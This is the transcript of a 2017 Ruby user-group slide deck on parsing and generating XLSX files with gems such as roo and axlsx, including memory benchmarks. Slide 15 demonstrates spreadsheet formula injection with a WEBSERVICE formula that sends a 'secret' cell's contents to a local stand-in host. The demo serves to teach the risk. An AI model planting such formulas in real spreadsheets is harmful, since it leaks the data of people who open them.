XLSX in Ruby. RRUG #9

Ba17945a06aac247b06548d5afe341e8?s=47 mrzasa
October 12, 2017

XLSX in Ruby. RRUG #9

Handling XLSX files in ruby - parsing, generating; efficiency and security.
Slides from presentation during Rzeszów Ruby User Group meetup.

Ba17945a06aac247b06548d5afe341e8?s=128

mrzasa

October 12, 2017
Tweet

Transcript

  1. XLSX IN RUBY XLSX IN RUBY MACIEK RZĄSA, MACIEK RZĄSA,

    Rzeszów Ruby User Group, 12.10.2017 @MJRZASA @MJRZASA
  2. WHY XLSX? WHY XLSX?

  3. INTERNALS INTERNALS $ unzip -l 10-shared-true.xlsx Archive: 10-shared-true.xlsx Length Date

    Time Name --------- ---------- ----- ---- 1944 2017-10-12 01:07 xl/worksheets/sheet1.xml 313 2017-10-12 01:07 xl/workbook.xml 1090 2017-10-12 01:07 xl/styles.xml 1439 2017-10-12 01:07 xl/sharedStrings.xml 566 2017-10-12 01:07 xl/_rels/workbook.xml.rels 297 2017-10-12 01:07 _rels/.rels 817 2017-10-12 01:07 [Content_Types].xml --------- ------- 6466 7 files
  4. xl/worksheets/sheet1.xml

  5. PARSING PARSING roo creek rubyXL

  6. PARSING EXAMPLE PARSING EXAMPLE sheet = Roo::Excelx.new(path) sheet.cell(1,1) sheet.cell('A',1) sheet.cell(1,'A')

    sheet.a1 cells = sheet.sheet_for(sheet.sheets.first).cells data = sheet.header_line.upto(sheet.last_row).map do |row| [cells[[row, 1]]), cells[[row, 2]]] end
  7. PARSING PERFORMANCE PARSING PERFORMANCE source:spin.atomicobject.com

  8. GENERATING GENERATING axlsx xlsxtream

  9. AXLSX AXLSX Axlsx::Package.new.tap do |p| p.workbook.add_worksheet(name: 'Test') do |sheet| data.each

    do |row| sheet.add_row(row) end end p.use_shared_strings = true p.serialize(path) end
  10. XLSXTREAM XLSXTREAM Xlsxtream::Workbook.open(path, use_shared_strings: true) do |xlsx| xlsx.write_worksheet "Test" do

    |sheet| data.each do |row| sheet << row end end end
  11. PERFORMANCE PERFORMANCE

  12. None
  13. XLSX/CSV MEMORY XLSX/CSV MEMORY [csv]10 25847 allocated [csv]100 62069 allocated

    - 2.40x more [stream]10 77358 allocated - 2.99x more [stream]100 273694 allocated - 10.59x more [csv]1000 424315 allocated - 16.42x more [axlsx]10 527579 allocated - 20.41x more [axlsx]100 1528683 allocated - 59.14x more [stream]1000 1927186 allocated - 74.56x more [csv]10000 4046771 allocated - 156.57x more [axlsx]1000 11062251 allocated - 427.99x more [stream]10_000 17440784 allocated - 674.77x more [axlsx]10_000 104650749 allocated - 4048.85x more
  14. XLSX/CSV GENERATION TIME XLSX/CSV GENERATION TIME

  15. SECURITY SECURITY let's try it require 'axlsx' Axlsx::Package.new.tap do |p|

    p.workbook.add_worksheet(name: 'Test') do |s| s.add_row(['Secret client data']) s.add_row(['=1+2', '=WEBSERVICE(CONCAT ("http://localhost:4567/", "'", A1, "'"))' ]) end p.serialize('out/injection-axlsx.xlsx') end
  16. CAN WE AVOID USING XLSX? CAN WE AVOID USING XLSX?

  17. SOURCES SOURCES https://spin.atomicobject.com/2017/03/22/parsing-ex ruby/ https://stackover�ow.com/q/3321011/580346 https://stackover�ow.com/q/40804944/580346 https://pentestmag.com/formula-injection/ https://twitter.com/owickstrom/status/91766512471